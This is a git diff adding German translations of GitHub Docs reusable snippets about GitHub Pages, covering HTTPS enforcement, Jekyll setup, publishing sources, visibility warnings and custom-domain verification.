diff --git a/translations/de-DE/data/reusables/pages/enforce-https-custom-domain.md b/translations/de-DE/data/reusables/pages/enforce-https-custom-domain.md
new file mode 100644
index 0000000000..0239bee740
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/enforce-https-custom-domain.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f7a89b495d2bc3a4428cc9c02989680f227ee1c8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107432"
+---
+1. Wenn du optional HTTPS-Verschlüsselung für deine Website erzwingen möchtest, wähle **HTTPS erzwingen** aus. Es kann bis zu 24 Stunden dauern, bis diese Option verfügbar ist. Weitere Informationen findest du unter [Sichern deiner {% data variables.product.prodname_pages %}-Website mit HTTPS](/articles/securing-your-github-pages-site-with-https).
+  ![Option „HTTPS für benutzerdefiniert Domänen erzwingen“](/assets/images/help/pages/enforce-https-custom-domains.png)
diff --git a/translations/de-DE/data/reusables/pages/jekyll-install-troubleshooting.md b/translations/de-DE/data/reusables/pages/jekyll-install-troubleshooting.md
new file mode 100644
index 0000000000..86cfa77a27
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/jekyll-install-troubleshooting.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 9bf963bce75ecf98764b3005dbf517c2df817494
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107431"
+---
+{% mac %}
+
+{% tip %}
+
+**Tipp**: Wenn bei dem Versuch, Jekyll mithilfe von Bundler zu installieren, ein Ruby-Fehler angezeigt wird, musst du möglicherweise einen Paket-Manager wie [RVM](https://rvm.io/) oder [Homebrew](http://brew.sh/) verwenden, um deine Ruby-Installation zu verwalten. Weitere Informationen findest du in der Jekyll-Dokumentation unter [Problembehandlung](https://jekyllrb.com/docs/troubleshooting/#jekyll--macos).
+
+{% endtip %}
+
+{% endmac %}
diff --git a/translations/de-DE/data/reusables/pages/must-have-repo-first.md b/translations/de-DE/data/reusables/pages/must-have-repo-first.md
new file mode 100644
index 0000000000..5cdfe26384
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/must-have-repo-first.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d28656bfc5f1e7c95ae1b07893dbd2297e36e4c1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107408"
+---
+Bevor du deine Website erstellen kannst, musst du ein Repository für deine Website auf {% data variables.product.product_name %} haben. Wenn du deine Website nicht in einem vorhandenen Repository erstellst, lies [Erstellen eines Repositorys für deine Website](#creating-a-repository-for-your-site).
diff --git a/translations/de-DE/data/reusables/pages/navigate-publishing-source.md b/translations/de-DE/data/reusables/pages/navigate-publishing-source.md
new file mode 100644
index 0000000000..34d9711330
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/navigate-publishing-source.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 503f4791bd0c78019153c8691e1927701f8fc44f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147428316"
+---
+1. Navigiere zur Veröffentlichungsquelle für deine Website. Weitere Informationen findest du unter [Konfigurieren einer Veröffentlichungsquelle für deine GitHub Pages-Website](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site).
diff --git a/translations/de-DE/data/reusables/pages/navigate-site-repo.md b/translations/de-DE/data/reusables/pages/navigate-site-repo.md
new file mode 100644
index 0000000000..0968740588
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/navigate-site-repo.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 672690e0efedd330e8f1c8d940d50c528a193e55
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107404"
+---
+1. Navigiere in {% data variables.product.product_name %} zum Repository Deiner Website.
diff --git a/translations/de-DE/data/reusables/pages/new-or-existing-repo.md b/translations/de-DE/data/reusables/pages/new-or-existing-repo.md
new file mode 100644
index 0000000000..ef9a5ce8ce
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/new-or-existing-repo.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 33f427d38193ad14c5df35ebab14bd08208c08e0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109513"
+---
+Du kannst entweder ein Repository erstellen oder ein vorhandenes Repository für deine Website auswählen.
+
+Wenn du eine {% data variables.product.prodname_pages %}-Website für ein Repository erstellen möchtest, wobei nicht alle Dateien im Repository mit der Website verknüpft sind, kannst du eine Veröffentlichungsquelle für deine Website konfigurieren. Du kannst z. B. einen dedizierten Branch und Ordner für deine Websitequelldateien {% ifversion pages-custom-workflow %} einrichten oder einen benutzerdefinierten {% data variables.product.prodname_actions %}-Workflow verwenden, um deine Websitequelldateien zu erstellen und zu bereitzustellen. {% data reusables.actions.settings-ui.settings-actions-pages-custom-workflow %}{% else %}files.{% endif %}
+
+{% ifversion fpt or ghec %}Wenn das Konto, dem das Repository angehört, {% data variables.product.prodname_free_user %} oder {% data variables.product.prodname_free_team %} für Organisationen verwendet, muss das Repository öffentlich sein.{% endif %}
+
+ Wenn du eine Website in einem vorhandenen Repository erstellen möchtest, fahre mit dem Abschnitt [Erstellen deiner Website](#creating-your-site) fort.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/pages/no_sensitive_data_pages.md b/translations/de-DE/data/reusables/pages/no_sensitive_data_pages.md
new file mode 100644
index 0000000000..48d15456fa
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/no_sensitive_data_pages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e7d43a8eaf48299f3058537021d9e47f15b7b244
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884341"
+---
+{% data variables.product.prodname_pages %}-Websites sollten nicht für Transaktionen sensibler Daten verwendet werden, also beispielsweise nicht für das Senden von Passwörtern oder Kreditkartennummern.
diff --git a/translations/de-DE/data/reusables/pages/org-owners-can-restrict-pages-creation.md b/translations/de-DE/data/reusables/pages/org-owners-can-restrict-pages-creation.md
new file mode 100644
index 0000000000..a6fdc27937
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/org-owners-can-restrict-pages-creation.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 903315674c75be98b283ea361373d6e62b169497
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884333"
+---
+{% ifversion fpt or ghes or ghec %} {% note %}
+
+**Hinweis**: Organisationsbesitzer können die Veröffentlichung von {% data variables.product.prodname_pages %}-Websites aus Repositorys im Besitz der Organisation einschränken. Weitere Informationen findest du unter [Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/pages/pages-about-branch-source.md b/translations/de-DE/data/reusables/pages/pages-about-branch-source.md
new file mode 100644
index 0000000000..6d4eff423f
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/pages-about-branch-source.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dd467218337fb081d2663f7433a9ab6ef608c726
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147428431"
+---
+Du kannst angeben, welcher Branch und welcher Ordner als Veröffentlichungsquelle verwendet werden sollen. Der Quellbranch kann ein beliebiger Branch in deinem Repository sein, und der Quellordner kann entweder der Stamm des Repositorys (`/`) im Quellbranch oder der Ordner `/docs` im Quellbranch sein. Wenn Änderungen an den Quellbranch gepusht werden, werden die Änderungen im Quellordner in deiner {% data variables.product.prodname_pages %}-Website veröffentlicht.
diff --git a/translations/de-DE/data/reusables/pages/pages-about-publishing-source.md b/translations/de-DE/data/reusables/pages/pages-about-publishing-source.md
new file mode 100644
index 0000000000..082c051df4
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/pages-about-publishing-source.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: f46fcf5de23b55285d402b93bd89b0155e1224e7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108522"
+---
+{% ifversion pages-custom-workflow %}
+
+Du kannst deine Website veröffentlichen, wenn Änderungen an einen bestimmten Branch gepusht werden, oder du kannst einen {% data variables.product.prodname_actions %}-Workflow schreiben, um deine Website zu veröffentlichen. {% data reusables.actions.settings-ui.settings-actions-pages-custom-workflow %}
+
+Wenn du keine Kontrolle über den Buildprozess für deine Website benötigst, wird empfohlen, deine Website zu veröffentlichen, wenn Änderungen an einen bestimmten Branch gepusht werden. {% data reusables.pages.pages-about-branch-source %}
+
+Wenn du einen anderen Buildprozess als Jekyll verwenden möchtest oder nicht möchtest, dass deine kompilierten statischen Dateien in einem dedizierten Branch enthalten sind, wird empfohlen, einen {% data variables.product.prodname_actions %}-Workflow zu schreiben, um deine Website zu veröffentlichen. {% data variables.product.product_name %} bietet Startworkflows für allgemeine Veröffentlichungsszenarien, die dir beim Schreiben deines Workflows helfen.
+
+{% else %}
+
+Deine {% data variables.product.prodname_pages %}-Website wird veröffentlicht, wenn Änderungen an einen bestimmten Branch gepusht werden. {% data reusables.pages.pages-about-branch-source %}
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/pages/pages-custom-workflow-beta.md b/translations/de-DE/data/reusables/pages/pages-custom-workflow-beta.md
new file mode 100644
index 0000000000..71a8878d6e
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/pages-custom-workflow-beta.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: a231b3c0bf02051ba3593f5dd04ac7fdf5506ea7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109430"
+---
+{% ifversion pages-custom-workflow %}
+
+{% note %}
+
+Hinweis: Das Veröffentlichen deiner {% data variables.product.prodname_pages %}-Website mit einem benutzerdefinierten {% data variables.product.prodname_actions %}-Workflow befindet sich in der Betaversion und unterliegt Änderungen.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pages/private_pages_are_public_warning.md b/translations/de-DE/data/reusables/pages/private_pages_are_public_warning.md
new file mode 100644
index 0000000000..d4bd223307
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/private_pages_are_public_warning.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: c3e82ab5103e82750cfec55553865b4f874d4f8f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880557"
+---
+{% warning %}
+
+{% ifversion fpt %} **Warnung**: {% data variables.product.prodname_pages %}-Websites sind im Internet öffentlich zugänglich, auch wenn das Repository für die Website privat ist. Wenn das Repository deiner Website vertrauliche Daten enthält, solltest Du diese vor der Veröffentlichung entfernen. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+{% elsif ghec %} **Warnung**: Wenn dein Unternehmen nicht {% data variables.product.prodname_emus %} verwendet, sind {% data variables.product.prodname_pages %}-Websites standardmäßig öffentlich im Internet verfügbar, auch wenn das Repository für die Website privat oder intern ist. Du kannst eine Website privat veröffentlichen, indem du die Zugriffssteuerung für die Website verwaltest. Andernfalls sollten vertrauliche Daten im Repository deiner Website vor der Veröffentlichung entfernt werden. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility) und [Ändern der Sichtbarkeit deiner {% data variables.product.prodname_pages %}-Website](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site).
+{% elsif ghae %} **Warnung**: {% data variables.product.prodname_pages %}-Websites sind für alle Unternehmensmitglieder sichtbar, selbst wenn das Repository für die Website als privat gekennzeichnet ist. Wenn das Repository deiner Website vertrauliche Daten enthält, solltest Du diese vor der Veröffentlichung entfernen. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+{% elsif ghes %} **Warnung**: Wenn dein Websiteadministrator öffentliche Seiten aktiviert hat, sind {% data variables.product.prodname_pages %}-Websites im Internet öffentlich zugänglich, auch wenn das Repository für die Website privat oder intern ist. Wenn das Repository deiner Website vertrauliche Daten enthält, solltest Du diese vor der Veröffentlichung entfernen. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_pages %} für dein Unternehmen](/admin/configuration/configuring-github-pages-for-your-enterprise#enabling-public-sites-for-github-pages) und [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+{% endif %}
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/pages/privately-publish-ghec-only.md b/translations/de-DE/data/reusables/pages/privately-publish-ghec-only.md
new file mode 100644
index 0000000000..e23136bbf9
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/privately-publish-ghec-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 0e3fb22cc1bd91281a459473843cf40820d9f94d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067370"
+---
+{% note %}
+
+**Hinweis:** Um eine {% data variables.product.prodname_pages %}-Website privat zu veröffentlichen, muss deine Organisation {% data variables.product.prodname_ghe_cloud %} verwenden. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/pages/recommend-bundler.md b/translations/de-DE/data/reusables/pages/recommend-bundler.md
new file mode 100644
index 0000000000..a6eb03d704
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/recommend-bundler.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 119dcaf20e07fe3c0f8d5c03245e6fc1b76a7a2f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107391"
+---
+Es wird empfohlen, [Bundler](http://bundler.io/) zum Installieren und Ausführen von Jekyll zu verwenden. Bundler verwaltet „Ruby gem"-Abhängigkeiten, reduziert Jekyll-Build-Fehler und verhindert umgebungsspezifische Bugs. Um Bundler zu installieren:
+
+ 1. Ruby installieren. Weitere Informationen findest du unter [Installieren von Ruby](https://www.ruby-lang.org/en/documentation/installation/) in der Ruby-Dokumentation.
+ 2. Installiere Bundler. Weitere Informationen findest du unter [Bundler](https://bundler.io/).
diff --git a/translations/de-DE/data/reusables/pages/remove-submodule.md b/translations/de-DE/data/reusables/pages/remove-submodule.md
new file mode 100644
index 0000000000..0f81369e07
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/remove-submodule.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 9b9749a9b1d8405deadafdb29203b9537900813e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884971"
+---
+Zur Fehlerbehebung entscheide zuerst, ob du tatsächlich ein Submodul verwenden möchtest, bei dem es sich um ein Git-Projekt innerhalb eines Git-Projekts handelt; Submodule werden manchmal versehentlich erstellt.
+
+Wenn du kein Submodul verwenden möchtest, entferne das Submodul, und ersetze dabei <em>PFAD-ZUM-SUBMODUL</em> durch den Pfad zum Submodul:
+```shell
+$ git submodule deinit <em>PATH-TO-SUBMODULE</em>
+$ git rm <em>PATH-TO-SUBMODULE</em>
+$ git commit -m "Remove submodule"
+$ rm -rf .git/modules/<em>PATH-TO-SUBMODULE</em>
+```
diff --git a/translations/de-DE/data/reusables/pages/search-for-includes.md b/translations/de-DE/data/reusables/pages/search-for-includes.md
new file mode 100644
index 0000000000..b3a604aa7c
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/search-for-includes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4eaec847ac9a22842231700979da060993a73126
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107367"
+---
+Zur Problembehandlung durchsuche die in der Fehlermeldung genannte Datei nach `include`, um festzustellen, ob du auf andere Dateien verwiesen hast, z. B. {% raw %}`{% include example_header.html %}`{% endraw %}.
diff --git a/translations/de-DE/data/reusables/pages/secure-your-domain.md b/translations/de-DE/data/reusables/pages/secure-your-domain.md
new file mode 100644
index 0000000000..aa9d0056bc
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/secure-your-domain.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: c32095fa49627698da6e8bb888409fec2cda2d4b
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879196"
+---
+Wenn deine {% data variables.product.prodname_pages %}-Website deaktiviert ist, aber über eine benutzerdefinierte Domäne verfügt, besteht die Gefahr einer Domänenübernahme. Wenn Du eine benutzerdefinierte Domäne bei Deinem DNS-Provider konfigurierst, während Deine Website deaktiviert ist, könnte ein Dritter eine Website auf einer Deiner Subdomänen hosten.
+
+Durch eine Überprüfung deiner benutzerdefinierten Domäne wird verhindert, dass andere GitHub-Benutzer deine Domäne für ihre Repositorys verwenden. Wenn deine Domäne nicht überprüft wurde und deine {% data variables.product.prodname_pages %}-Website deaktiviert ist, solltest du die DNS-Einträge bei deinem DNS-Anbieter umgehend aktualisieren oder entfernen.
diff --git a/translations/de-DE/data/reusables/pages/settings-verify-domain-confirm.md b/translations/de-DE/data/reusables/pages/settings-verify-domain-confirm.md
new file mode 100644
index 0000000000..4a7df55ca5
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/settings-verify-domain-confirm.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ccccce25b53675ad01a9246d3f99c9311d4e4507
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107363"
+---
+1. Nachdem du bestätigt hast, dass dein DNS-Konfiguration aktualisiert wurde, kannst du die Domäne überprüfen. Wenn die Änderung nicht sofort erfolgt ist, und du die vorherige Seite verlassen hast, kehre zu deinen Seiteneinstellungen zurück, indem du die ersten Schritte ausführst und rechts von der Domäne auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Überprüfung fortsetzen** klickst.
+  ![Option „Überprüfung fortsetzen“ auf Seiteneinstellungen](/assets/images/help/pages/verify-continue.png)
+1. Klicke zum Überprüfen der Domäne auf **Überprüfen**.
+  ![Schaltfläche „Überprüfen“ auf Seiteneinstellungen ](/assets/images/help/pages/verify-button.png)
+1. Um sicherzustellen, dass deine benutzerdefinierte Domäne weiterhin überprüft wird, behalte den TXT-Eintrag in der DNS-Konfiguration deiner Domäne bei.
diff --git a/translations/de-DE/data/reusables/pages/settings-verify-domain-setup.md b/translations/de-DE/data/reusables/pages/settings-verify-domain-setup.md
new file mode 100644
index 0000000000..84b161951c
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/settings-verify-domain-setup.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: c7b1fff2c96137b3deec711f88676546c2cb1305
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878972"
+---
+1. Klicke rechts auf **Eine Domäne hinzufügen**.
+  ![Schaltfläche „Domäne hinzufügen“ in den Seiteneinstellungen](/assets/images/help/pages/verify-add-domain.png)
+1. Gib unter "Welche Domäne möchtest du hinzufügen?" die zu überprüfende Domäne ein, und klicke auf **Domäne hinzufügen**.
+  ![Textfeld „Domäne“ und Schaltfläche „Domäne hinzufügen“ in den Seiteneinstellungen](/assets/images/help/pages/verify-enter-domain.png)
+1. Befolge die Anweisungen unter „TXT-Eintrag für DNS hinzufügen“, um den TXT-Eintrag bei deinem Domänenhostingdienst zu erstellen.
+  ![Informationen im TXT-Eintrag für DNS in den Seiteneinstellungen](/assets/images/help/pages/verify-dns.png)
diff --git a/translations/de-DE/data/reusables/pages/sidebar-pages.md b/translations/de-DE/data/reusables/pages/sidebar-pages.md
new file mode 100644
index 0000000000..51f755936d
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/sidebar-pages.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghes > 3.4 or ghec or ghae > 3.4 %}
+1. In the "Code and automation" section of the sidebar, click **{% octicon "browser" aria-label="The browser icon" %} Pages**.
+{% else %}
+1. In the left sidebar, click **Pages**.
+   ![Page tab in the left-hand sidebar](/assets/images/help/pages/pages-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/pages/test-locally.md b/translations/de-DE/data/reusables/pages/test-locally.md
new file mode 100644
index 0000000000..431028c9c7
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/test-locally.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 50290ff8820c78762dd3440b837c6bd678fbcd09
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147428277"
+---
+{% ifversion pages-custom-workflow %} Falls die Veröffentlichung über einen Branch erfolgt, werden Änderungen{% else %}Änderungen{% endif %} an deiner Website automatisch veröffentlicht, wenn sie in der Veröffentlichungsquelle deiner Website zusammengeführt werden. {% ifversion pages-custom-workflow %} Falls die Veröffentlichung über einen benutzerdefinierten {% data variables.product.prodname_actions %}-Workflow erfolgt, werden Änderungen bei jeder Auslösung des Workflows veröffentlicht (normalerweise durch einen Push an den Standardbranch). {% endif %}Wenn du zuerst eine Vorschau deiner Änderungen sehen möchtest, kannst du die Änderungen lokal vornehmen statt auf {% data variables.product.product_name %}. Dann teste deine Website lokal. Weitere Informationen findest du unter [Lokales Testen deiner {% data variables.product.prodname_pages %}-Website mit Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll).
diff --git a/translations/de-DE/data/reusables/pages/theme-customization-help.md b/translations/de-DE/data/reusables/pages/theme-customization-help.md
new file mode 100644
index 0000000000..eb3fff74b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/theme-customization-help.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9357298dedeb96204b59ce5967e2a7d95a693039
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107355"
+---
+Das Quell-Repository Deines Design bietet möglicherweise Hilfe beim Anpassen Deines Design. Weitere Informationen findest du z. B. in der [_README_-Datei von Minima](https://github.com/jekyll/minima#customizing-templates).
diff --git a/translations/de-DE/data/reusables/pages/twenty-minutes-to-publish.md b/translations/de-DE/data/reusables/pages/twenty-minutes-to-publish.md
new file mode 100644
index 0000000000..b902cf84f9
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/twenty-minutes-to-publish.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d5f0b63efc3000192e703896b54ff26d6abc8c4e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107352"
+---
+**Hinweis**: Nach dem Pushen der Änderung an {% data variables.product.product_name %} kann es bis zu 10 Minuten dauern, bis die Änderungen an deiner Website veröffentlicht werden.  Wenn deine {% data variables.product.prodname_pages %}-Websiteänderungen nach einer Stunde noch immer nicht in deinem Browser angezeigt werden, lies die [Informationen zu Jekyll-Buildfehlern für {% data variables.product.prodname_pages %}-Websites](/articles/about-jekyll-build-errors-for-github-pages-sites).
diff --git a/translations/de-DE/data/reusables/pages/update_your_dns_settings.md b/translations/de-DE/data/reusables/pages/update_your_dns_settings.md
new file mode 100644
index 0000000000..e176c649f0
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/update_your_dns_settings.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e4b3bd736b1347747b118af17d8652cb1d91e3bd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107351"
+---
+{% ifversion fpt or ghec %}1. Wenn für Deine Website eine benutzerdefinierte Domäne aktiviert ist, aktualisiere Deine DNS-Einstellungen, um eine Domänen-Übernahme zu vermeiden. Weitere Informationen findest du unter [Konfigurieren einer benutzerdefinierten Domäne für deine {% data variables.product.prodname_pages %}-Website](/pages/configuring-a-custom-domain-for-your-github-pages-site).{% endif %}
diff --git a/translations/de-DE/data/reusables/pages/visit-site.md b/translations/de-DE/data/reusables/pages/visit-site.md
new file mode 100644
index 0000000000..1758fcafd1
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/visit-site.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: e089f0f8ca2a1058b5c168a1fc06a63c78d1333c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107328"
+---
+1. Um Deine veröffentlichte Website anzuzeigen, klicke unter „{% data variables.product.prodname_pages %}" auf die URL Deiner Website.
+![URL Ihrer veröffentlichten Website](/assets/images/help/pages/click-pages-url-to-preview.png)
+
+  {% note %}
+
+  {% data reusables.pages.twenty-minutes-to-publish %}
+
+  {% endnote %}
diff --git a/translations/de-DE/data/reusables/pages/wildcard-dns-warning.md b/translations/de-DE/data/reusables/pages/wildcard-dns-warning.md
new file mode 100644
index 0000000000..4e5d71b762
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/wildcard-dns-warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8407ed8c868c64bd37dddf244e0721ea9b49d687
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879212"
+---
+{% warning %}
+
+**Warnung:** Es wird dringend empfohlen, keine Platzhalter-DNS-Einträge wie z. B. `*.example.com` zu verwenden. Ein Platzhalter-DNS-Eintrag würde es jedem ermöglichen, eine {% data variables.product.prodname_pages %}-Website auf deinen Subdomänen zu hosten, auch wenn diese verifiziert sind. Weitere Informationen findest du unter [Überprüfen deiner benutzerdefinierten Domäne für {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/pages/www-and-apex-domain-recommendation.md b/translations/de-DE/data/reusables/pages/www-and-apex-domain-recommendation.md
new file mode 100644
index 0000000000..377aee3785
--- /dev/null
+++ b/translations/de-DE/data/reusables/pages/www-and-apex-domain-recommendation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9007a7541d3ee57656a975af1bf430673c796d09
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107324"
+---
+Wenn du eine Apex-Domäne als deine benutzerdefinierte Domäne verwendest, empfehlen wir, auch eine `www`-Unterdomäne einzurichten. Wenn Du über Deinen DNS-Anbieter die richtigen Datensätze für jeden Domänentyp konfigurierst, wird {% data variables.product.prodname_pages %} automatisch Umleitungen zwischen den Domänen erstellen. Wenn du beispielsweise `www.example.com` als benutzerdefinierte Domäne für deine Website konfigurierst, und du {% data variables.product.prodname_pages %}- DNS-Einträge für Apex und `www`-Domänen eingerichtet hast, wird `example.com` zu `www.example.com` umgeleitet. Beachte, dass automatische Weiterleitungen nur für die `www`-Unterdomäne gelten. Automatische Weiterleitungen gelten nicht für andere Unterdomänen, wie z. B. `blog`.
